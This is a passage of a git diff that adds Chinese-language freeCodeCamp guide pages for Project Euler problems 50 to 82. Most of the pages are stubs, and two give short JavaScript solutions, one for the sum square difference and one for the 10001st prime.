+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-50-consecutive-prime-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Consecutive prime sum
+localeTitle: 连续的总和
+---
+## 问题50：连续的总和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-50-consecutive-prime-sum/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-51-prime-digit-replacements/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-51-prime-digit-replacements/index.md
new file mode 100644
index 0000000000..ceadf0d1ae
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-51-prime-digit-replacements/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime digit replacements
+localeTitle: 主要数字替换
+---
+## 问题51：主要数字替换
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-51-prime-digit-replacements/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-52-permuted-multiples/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-52-permuted-multiples/index.md
new file mode 100644
index 0000000000..07ec2a85bb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-52-permuted-multiples/index.md
@@ -0,0 +1,9 @@
+---
+title: Permuted multiples
+localeTitle: 置换倍数
+---
+## 问题52：置换倍数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-52-permuted-multiples/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-53-combinatoric-selections/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-53-combinatoric-selections/index.md
new file mode 100644
index 0000000000..634d5345f4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-53-combinatoric-selections/index.md
@@ -0,0 +1,9 @@
+---
+title: Combinatoric selections
+localeTitle: 组合选择
+---
+## 问题53：组合选择
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-53-combinatoric-selections/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-54-poker-hands/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-54-poker-hands/index.md
new file mode 100644
index 0000000000..d4e2d25f9c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-54-poker-hands/index.md
@@ -0,0 +1,9 @@
+---
+title: Poker hands
+localeTitle: 扑克手
+---
+## 问题54：扑克手
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-54-poker-hands/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-55-lychrel-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-55-lychrel-numbers/index.md
new file mode 100644
index 0000000000..1cbfe5a6f9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-55-lychrel-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Lychrel numbers
+localeTitle: Lychrel数字
+---
+## 问题55：Lychrel数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-55-lychrel-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-56-powerful-digit-sum/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-56-powerful-digit-sum/index.md
new file mode 100644
index 0000000000..1a34b450ec
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-56-powerful-digit-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Powerful digit sum
+localeTitle: 强大的数字总和
+---
+## 问题56：强大的数字总和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-56-powerful-digit-sum/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-57-square-root-convergents/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-57-square-root-convergents/index.md
new file mode 100644
index 0000000000..d16e46f684
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-57-square-root-convergents/index.md
@@ -0,0 +1,9 @@
+---
+title: Square root convergents
+localeTitle: 平方根会聚
+---
+## 问题57：平方根收敛
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-57-square-root-convergents/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-58-spiral-primes/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-58-spiral-primes/index.md
new file mode 100644
index 0000000000..e6e7485600
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-58-spiral-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Spiral primes
+localeTitle: 螺旋素数
+---
+## 问题58：螺旋素数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-58-spiral-primes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-59-xor-decryption/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-59-xor-decryption/index.md
new file mode 100644
index 0000000000..9b4c0ea5a5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-59-xor-decryption/index.md
@@ -0,0 +1,9 @@
+---
+title: XOR decryption
+localeTitle: XOR解密
+---
+## 问题59：XOR解密
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-59-xor-decryption/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-6-sum-square-difference/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-6-sum-square-difference/index.md
new file mode 100644
index 0000000000..873f4d2b20
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-6-sum-square-difference/index.md
@@ -0,0 +1,37 @@
+---
+title: Sum square difference
+localeTitle: 和方差
+---
+## 问题6：求和方差
+
+### 方法：
+
+*   前n个自然数的总和可以使用以下公式计算：
+    
+*   ![n个数的总和](https://wikimedia.org/api/rest_v1/media/math/render/svg/99476e25466549387c585cb4de44e90f6cbe4cf2)
+    
+*   n个自然数的平方和可以使用以下公式计算：
+    
+*   ![n个正方形的总和](https://wikimedia.org/api/rest_v1/media/math/render/svg/ae043bef33d41161541238bdbf4feca9f5e179dd)
+    
+*   我们可以使用上面的公式计算值并减去它们以得到结果。
+    
+
+### 解：
+
+```js
+function sumSquareDifference(n) { 
+  const sumOfN = (n*(n+1))/2; 
+  const sumOfNSquare = (n*(n+1)*(2*n+1))/6; 
+ 
+  //** is exponentaial operator added in ES7, it's equivalent to Math.pow(num, 2)` 
+  return (sumOfN ** 2) - sumOfNSquare; 
+ } 
+```
+
+*   [运行代码](https://repl.it/@ezioda004/Problem-6-Sum-square-difference)
+
+### 参考文献：
+
+*   [n个数字的总和 - 维基百科](https://en.wikipedia.org/wiki/1_%2B_2_%2B_3_%2B_4_%2B_%E2%8B%AF)
+*   [n平方数的总和 - 维基百科](https://en.wikipedia.org/wiki/Square_pyramidal_number)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-60-prime-pair-sets/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-60-prime-pair-sets/index.md
new file mode 100644
index 0000000000..269e9e7aff
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-60-prime-pair-sets/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime pair sets
+localeTitle: 素数集
+---
+## 问题60：素数对设置
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-60-prime-pair-sets/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-61-cyclical-figurate-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-61-cyclical-figurate-numbers/index.md
new file mode 100644
index 0000000000..d87970b9ab
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-61-cyclical-figurate-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Cyclical figurate numbers
+localeTitle: 周期性数字号码
+---
+## 问题61：周期性的数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-61-cyclical-figurate-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-62-cubic-permutations/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-62-cubic-permutations/index.md
new file mode 100644
index 0000000000..ceb62c10e9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-62-cubic-permutations/index.md
@@ -0,0 +1,9 @@
+---
+title: Cubic permutations
+localeTitle: 立方排列
+---
+## 问题62：立方排列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-62-cubic-permutations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-63-powerful-digit-counts/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-63-powerful-digit-counts/index.md
new file mode 100644
index 0000000000..ee307dc866
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-63-powerful-digit-counts/index.md
@@ -0,0 +1,9 @@
+---
+title: Powerful digit counts
+localeTitle: 强大的数字计数
+---
+## 问题63：强大的数字计数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-63-powerful-digit-counts/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-64-odd-period-square-roots/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-64-odd-period-square-roots/index.md
new file mode 100644
index 0000000000..35454568bf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-64-odd-period-square-roots/index.md
@@ -0,0 +1,9 @@
+---
+title: Odd period square roots
+localeTitle: 奇数时期平方根
+---
+## 问题64：奇数期平方根
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-64-odd-period-square-roots/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-65-convergents-of-e/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-65-convergents-of-e/index.md
new file mode 100644
index 0000000000..76c4326295
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-65-convergents-of-e/index.md
@@ -0,0 +1,9 @@
+---
+title: Convergents of e
+localeTitle: e的收敛
+---
+## 问题65：e的收敛
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-65-convergents-of-e/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-66-diophantine-equation/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-66-diophantine-equation/index.md
new file mode 100644
index 0000000000..962767de63
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-66-diophantine-equation/index.md
@@ -0,0 +1,9 @@
+---
+title: Diophantine equation
+localeTitle: 丢番图方程
+---
+## 问题66：丢番图方程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-66-diophantine-equation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-67-maximum-path-sum-ii/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-67-maximum-path-sum-ii/index.md
new file mode 100644
index 0000000000..cff1024cc9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-67-maximum-path-sum-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximum path sum II
+localeTitle: 最大路径总和II
+---
+## 问题67：最大路径总和II
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-67-maximum-path-sum-ii/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-68-magic-5-gon-ring/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-68-magic-5-gon-ring/index.md
new file mode 100644
index 0000000000..27f70094a8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-68-magic-5-gon-ring/index.md
@@ -0,0 +1,9 @@
+---
+title: Magic 5-gon ring
+localeTitle: 魔法5-gon戒指
+---
+## 问题68：魔法5-gon戒指
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-68-magic-5-gon-ring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-69-totient-maximum/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-69-totient-maximum/index.md
new file mode 100644
index 0000000000..ee6a8b3978
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-69-totient-maximum/index.md
@@ -0,0 +1,9 @@
+---
+title: Totient maximum
+localeTitle: 欧拉最大
+---
+## 问题69：最大值
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-69-totient-maximum/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-7-10001st-prime/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-7-10001st-prime/index.md
new file mode 100644
index 0000000000..2823cb3894
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-7-10001st-prime/index.md
@@ -0,0 +1,56 @@
+---
+title: 10001st prime
+localeTitle: 第10001个素数
+---
+## 问题7：10001个素数
+
+### 方法：
+
+*   素数是一个除以1和自身的数字。
+*   我们可以发现一个数字是素数，如果它不能被小于其自身的其他素数整除。
+
+### 解：
+
+```js
+function nthPrime(n) { 
+ 
+  //Primes array which will store all the prime numbers 
+  const primes = [2]; 
+ 
+  //Num is the number we want to check 
+  let num = 3, isPrime = true; 
+ 
+  //Looping until primes array is equal to n 
+  while (primes.length < n){ 
+ 
+    //All the primes numbers of a number is always <= it's square root 
+    let max = Math.ceil(Math.sqrt(num)); 
+ 
+    for (let i = 0; primes[i] <= max; i++){ 
+      if (num % primes[i] == 0) { 
+ 
+        //Looping till we find the prime 
+        isPrime = false; 
+        break; 
+      } 
+    } 
+ 
+    //if Prime found, push it to the array 
+    if (isPrime) primes.push(num); 
+    isPrime = true; 
+ 
+    //An optimization technique, since we know of all even numbers only 2 is a prime number, we can skip the rest 
+    num+=2; 
+  } 
+ 
+  //Returning the last number 
+  return primes[primes.length-1]; 
+ 
+ } 
+```
+
+\- [运行代码](https://repl.it/@ezioda004/Project-Euler-Problem-7-10001st-prime)
+
+### 参考文献：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Prime_number)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-70-totient-permutation/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-70-totient-permutation/index.md
new file mode 100644
index 0000000000..c5a628e286
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-70-totient-permutation/index.md
@@ -0,0 +1,9 @@
+---
+title: Totient permutation
+localeTitle: 欧拉置换
+---
+## 问题70：Totient排列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-70-totient-permutation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-71-ordered-fractions/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-71-ordered-fractions/index.md
new file mode 100644
index 0000000000..7bdca3c19c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-71-ordered-fractions/index.md
@@ -0,0 +1,9 @@
+---
+title: Ordered fractions
+localeTitle: 有序分数
+---
+## 问题71：有序分数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-71-ordered-fractions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-72-counting-fractions/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-72-counting-fractions/index.md
new file mode 100644
index 0000000000..620b3fa8e8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-72-counting-fractions/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting fractions
+localeTitle: 计算分数
+---
+## 问题72：计算分数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-72-counting-fractions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-73-counting-fractions-in-a-range/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-73-counting-fractions-in-a-range/index.md
new file mode 100644
index 0000000000..775b3ff6cb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-73-counting-fractions-in-a-range/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting fractions in a range
+localeTitle: 计算范围内的分数
+---
+## 问题73：计算范围内的分数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-73-counting-fractions-in-a-range/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-74-digit-factorial-chains/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-74-digit-factorial-chains/index.md
new file mode 100644
index 0000000000..d2967d8480
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-74-digit-factorial-chains/index.md
@@ -0,0 +1,9 @@
+---
+title: Digit factorial chains
+localeTitle: 数字因子链
+---
+## 问题74：数字因子链
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-74-digit-factorial-chains/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-75-singular-integer-right-triangles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-75-singular-integer-right-triangles/index.md
new file mode 100644
index 0000000000..2703230992
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-75-singular-integer-right-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Singular integer right triangles
+localeTitle: 奇异整数直角三角形
+---
+## 问题75：奇异整数直角三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-75-singular-integer-right-triangles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-76-counting-summations/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-76-counting-summations/index.md
new file mode 100644
index 0000000000..9055bfca52
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-76-counting-summations/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting summations
+localeTitle: 计算总结
+---
+## 问题76：计算总结
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-76-counting-summations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-77-prime-summations/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-77-prime-summations/index.md
new file mode 100644
index 0000000000..304ddf70d3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-77-prime-summations/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime summations
+localeTitle: 总结
+---
+## 问题77：总结
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-77-prime-summations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-78-coin-partitions/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-78-coin-partitions/index.md
new file mode 100644
index 0000000000..2453db29d3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-78-coin-partitions/index.md
@@ -0,0 +1,9 @@
+---
+title: Coin partitions
+localeTitle: 硬币分区
+---
+## 问题78：硬币分区
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-78-coin-partitions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-79-passcode-derivation/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-79-passcode-derivation/index.md
new file mode 100644
index 0000000000..a6c72ee56c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-79-passcode-derivation/index.md
@@ -0,0 +1,9 @@
+---
+title: Passcode derivation
+localeTitle: 密码推导
+---
+## 问题79：密码派生
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-79-passcode-derivation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-8-largest-product-in-a-series/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-8-largest-product-in-a-series/index.md
new file mode 100644
index 0000000000..2ecf3f9b29
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-8-largest-product-in-a-series/index.md
@@ -0,0 +1,9 @@
+---
+title: Largest product in a series
+localeTitle: 系列中最大的产品
+---
+## 问题8：系列中最大的产品
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-8-largest-product-in-a-series/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-80-square-root-digital-expansion/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-80-square-root-digital-expansion/index.md
new file mode 100644
index 0000000000..8a65c22d1e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-80-square-root-digital-expansion/index.md
@@ -0,0 +1,9 @@
+---
+title: Square root digital expansion
+localeTitle: 平方根数字扩展
+---
+## 问题80：平方根数字扩展
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-80-square-root-digital-expansion/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-81-path-sum-two-ways/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-81-path-sum-two-ways/index.md
new file mode 100644
index 0000000000..e2580a8286
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-81-path-sum-two-ways/index.md
@@ -0,0 +1,9 @@
+---
+title: Path sum - two ways
+localeTitle: 路径总和 - 两种方式
+---
+## 问题81：路径总和：两种方式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-81-path-sum-two-ways/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-82-path-sum-three-ways/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-82-path-sum-three-ways/index.md
new file mode 100644
index 0000000000..4b4cf28628
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-82-path-sum-three-ways/index.md
@@ -0,0 +1,9 @@
+---
+title: Path sum - three ways
